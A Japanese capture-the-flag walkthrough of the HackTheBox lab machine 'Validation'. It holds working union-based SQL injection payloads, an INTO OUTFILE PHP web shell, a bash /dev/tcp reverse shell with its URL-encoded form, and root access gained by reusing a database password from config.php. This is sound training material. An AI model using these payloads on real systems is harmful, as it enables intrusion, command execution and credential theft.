HackTheBox Validation
まずはポートスキャンから実行していきます。
+[~]
(σ▰>∇<)σ<10.10.14.7>$ sudo nmap -p- -Pn --min-rate=1000 -sSV -v -n 10.10.11.116
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.48 ((Debian))
4566/tcp open http nginx
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
5005/tcp filtered avt-profile-2
5006/tcp filtered wsm-server
5007/tcp filtered wsm-server-ssl
5008/tcp filtered synapsis-edge
8080/tcp open http nginx
HTTPがいくつかオープンしていますが、まずは80番へアクセスしてみます。
何やらユーザを登録するページがあります。
国も選択できるようなので、フィンランドを選んだうえで testuser
を登録してみます。
フィンランドへ testuser
を登録できました。
が、特にそれ以上できることはなさそうです。。。
念のため、もう一度 testuser2
というユーザを登録してみます。
遷移先は同じですが、先ほど登録した testuser
も一緒に表示されました。
検索も行われているのでしょうか。登録の瞬間にどのようなリクエストが送られているか見てみます。
POST / HTTP/1.1
Host: 10.10.11.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://10.10.11.116
Connection: close
Referer: http://10.10.11.116/
Cookie: user=5d9c68c6c50ed3d02a2fcf54f63993b6
Upgrade-Insecure-Requests: 1
username=testuser2&country=Finland
この二つのパラメータが登録に使用されていると考えるのは容易です。が、他にも使用されている可能性を秘めています。
試しに、country
パラメータを削除しリクエストを送信してみます。
Welcome testuser2
だけが表示され、リストのように表示されたユーザ名が消えています。このことから country
は保存されたユーザの検索に使用されている可能性が高くなります。
検索で使用されているということは、SQLインジェクションの発火を狙うことが出来ます。試してみましょう。
以下のように、シングルクォートを付与してリクエストを送信します。
username=testuser2&country=Finland'
該当のリクエストではどのような値を送ってもリダイレクト(302)が返ってくるので、Follow redirection
を使用し、リダイレクトさせ応答を確認しましょう。
Fatal error
が出力されています!シングルクォートを2つ(正常系)に増やし、再度リクエストを送信してみましょう。
正常に戻りました!これは完全にSQLインジェクションが発火していそうなので、悪用し認証情報を取得しましょう。
認証情報の取得には、union句を使用しますが、今回のケースでは sqlmap
を使用することが出来ません。なので一連の流れを手動で行います。
まず、union句を使用するために出力のカラム数を列挙する必要があります。以下のようなパラメータ値を指定し、リクエストを送信しましょう。
username=testuser2&country=Finland' union select 1-- -
SQLインジェクションに脆弱で出力のカラム数が1つである場合、ユーザ名が表示される部分に「1
」が表示されます。出力を見てみましょう。
「1
」が表示されました!これでSQLインジェクションに脆弱であり出力のカラム数が1つであることが確定しました。
では、どんどん列挙を進めていきます。ここからは出力はスクショではなく、テキストで表示します。
まずデータベースを確認します。データベースの検索にはinformation_schema.schemata
のschema_name
を出力させます。
> parameter
username=testuser2&country=Finland' union select schema_name from information_schema.schemata-- -
> response
information_schema, performance_schema, mysql, registration
いつものデータベース達に加えて、registration
というデータベースを発見しました。いかにも怪しいので、どのようなテーブルがあるか見てみましょう。
> parameter
username=testuser2&country=Finland' union select table_name from information_schema.tables where table_schema = 'registration'-- -
> response
registration
データベースと同じ名前のregistration
というテーブルを発見しました。いかにも登録されているユーザが確認できそうです。どのようなカラムがあるか検索しましょう。
> parameter
username=testuser2&country=Finland' union select column_name from information_schema.columns where table_name = 'registration'-- -
> response
username, userhash, country, regtime
予想通りユーザ情報が保存されていそうですが、パスワードはハッシュ化されていそうです。とりあえず出力させてみましょう。
> parameter
username=testuser2&country=Finland' union select userhash from registration-- -
> response
1e4332f65a7a921075fbfb92c7c60cce, 58dd024d49e1d1b83a5d307f09f32734, 5d9c68c6c50ed3d02a2fcf54f63993b6, d41d8cd98f00b204e9800998ecf8427e
4人のユーザのハッシュが出力されました!一番アツそうなユーザからハッシュを解読していきたいので、ユーザ名も出力させましょう。
> parameter
username=testuser2&country=Finland' union select username from registration-- -
> response
testuser, testuser2, <...>, testuser3
新規のユーザを発見できるかと思いましたが、自分で登録したユーザのみが表示されました。登録は行ったので、DBに登録されるのは不思議ではありませんが、それ以外のユーザがいないというのは珍しいです。また、testuser
やtestuser2
などのユーザは登録時、パスワードを入力していません。なので、ハッシュはパスワードのものではない可能性が高そうです。
では、パスワードのハッシュでなければ、なんのハッシュなのか。考えられる可能性としては、ユーザ名をハッシュ化しているパターンです。
試しに、testuser2
をMD5でハッシュ化し、userhash
と比べてみましょう。
+[~]
(σ▰>∇<)σ<10.10.14.7>$ echo -n testuser2 | md5sum
58dd024d49e1d1b83a5d307f09f32734 -
> DB userhash
58dd024d49e1d1b83a5d307f09f32734
ハッシュの値が一致しました!やはり、ハッシュはユーザ名をハッシュ化させたものでした。
ハッシュがパスワードではないことは分かりました。ではどのように侵入すればよいのでしょうか。SQLインジェクションでは認証情報の取得以外にファイルを読み取り、書き込みする攻撃も有名です。
読み取り、書き込みをするには権限が必要です。ユーザに権限が付与されているかどうかを確認したいので、まずデータベースを操作しているユーザを確認します。
> parameter
username=testuser2&country=Finland' union select user()-- -
> response
uhc@localhost
データベースを操作しているユーザは「uhc@localhost
」のようです。では、このユーザの権限を調べてみましょう。
> parameter
username=testuser2&country=Finland' union select privilege_type from information_schema.user_privileges where grantee="'uhc'@'localhost'"-- -
> response
SELECT, INSERT, UPDATE, DELETE, CREATE, ..., FILE, ...
いくつか権限がありますが、その中にFILE
という権限があります!これは、ファイルの読み取り、書き込みが行えることを示しています。権限があることが分かったので、悪用していきましょう。
どのような悪用を行うかですが、今回のサーバではPHPが動作していることに注目し、WEBシェルを書き込むことでシェルの取得を目指します。素直に80番で動いているサーバであるため、書き込み先は/var/www/html
直下で良さそうです。
書き込みには、into outfile
を使用します。試しにHello World
という文字をhw.txt
へ書き込みます。
> parameter
username=testuser2&country=Finlan' union select "Hello World" into outfile "/var/www/html/hw.txt"-- -
返り値がないので、出力はエラーになるかもしれません。リクエストの送信が終わったら実際にhw.txt
へアクセスしてみましょう。
hw.txt
へのアクセスに成功し、Hello World
という文字が出力されました!同じ要領でWEBシェルを配置できそうです。
WEBシェルの内容はいつものsystem
関数を実行するものにします。
以下のパラメータ値でリクエストを送信しましょう。
> parameter
username=testuser2&country=Finlan' union select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/ws.php"-- -
hw.txt
を作成した時と同様にエラーが発生する可能性があります。
実行が終了したら、ws.php
へアクセスしましょう。cmd
には「id
」を指定し、コマンドの実行結果が出力されるかを確認します。
id
コマンドの実行結果が出力されています!
これでWEBシェルの作成もできたので、後は侵入するだけです。
リバースシェルの取得にもいつものコマンドを使用します。実際にパラメータの値として指定するときは、URLエンコードした値を指定します。
> plain
bash -c 'bash -i >& /dev/tcp/10.10.14.7/2121 0>&1'
> url encode
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%37%2f%32%31%32%31%20%30%3e%26%31%27
実行する前に待ち受けを忘れないようにしましょう
+[~]
(σ▰>∇<)σ<10.10.14.7>$ nc -lnvp 2121
listening on [any] 2121 ...
それでは、URLエンコードした値をcmd
パラメータに指定し、リクエストを送信します。
+[~]
(σ▰>∇<)σ<10.10.14.7>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.116] 45534
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ whoami
whoami
www-data
侵入に成功しました!
www-data@validation:/home/htb$ cat user.txt
3326364dfa08aacfcd91aa7e3486b6e0
フラグも無事取得できました!
では続いて権限昇格に移ります。まずはお馴染みのsudo -l
から実行していきましょう。
www-data@validation:/var/www/html$ sudo -l
bash: sudo: command not found
そもそもsudo
自体がないみたいです。
念のため、SUIDを持つファイルも検索しましたが、、、
www-data@validation:/var/www/html$ find / -perm 4000 2>/dev/null
何も応答がなかったため、見つからないみたいです。
では、続いて何を見ていくかですが、WEBからの侵入後はWEBルート内を検索するというのも一つの手です。どのようなファイルがあるか見てみましょう。
www-data@validation:/var/www/html$ ls -la
total 52
drwxrwxrwx 1 www-data www-data 4096 Apr 16 01:16 .
drwxr-xr-x 1 root root 4096 Sep 3 2021 ..
-rw-r--r-- 1 www-data www-data 1550 Sep 2 2021 account.php
-rw-r--r-- 1 www-data www-data 191 Sep 2 2021 config.php
drwxr-xr-x 1 www-data www-data 4096 Sep 2 2021 css
-rw-r--r-- 1 www-data www-data 16833 Sep 16 2021 index.php
drwxr-xr-x 1 www-data www-data 4096 Sep 16 2021 js
config.php
を発見しました。認証情報が書いてあることが多いので内容を確認してみましょう。
www-data@validation:/var/www/html$ cat config.php
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
MySQLの認証情報を発見しました。ただ、データベース内にはパスワードのような重要な情報はありませんでした。なので、アクセスしてもあまり意味はなさそうです。
しかしせっかくパスワードを発見しているので、他にどこかで使えないか試してみましょう。まず考えるのは他のユーザにも使いまわされている可能性ですが、マシン上にはローカルユーザが存在しません。
www-data@validation:/var/www/html$ cat /etc/passwd | grep home
ホームディレクトリを持つユーザで出力がないので、ローカルユーザがいないことが分かります。
では、他に試せるユーザはroot
ユーザしかいないので、そちらに対してログインを試してみましょう。
www-data@validation:/var/www/html$ su root
Password:
root@validation:/var/www/html# whoami
root
なんと!root
ユーザになることが出来ました、、、!
最後は少しあっけなかったですが、無事攻略完了です。
Discussion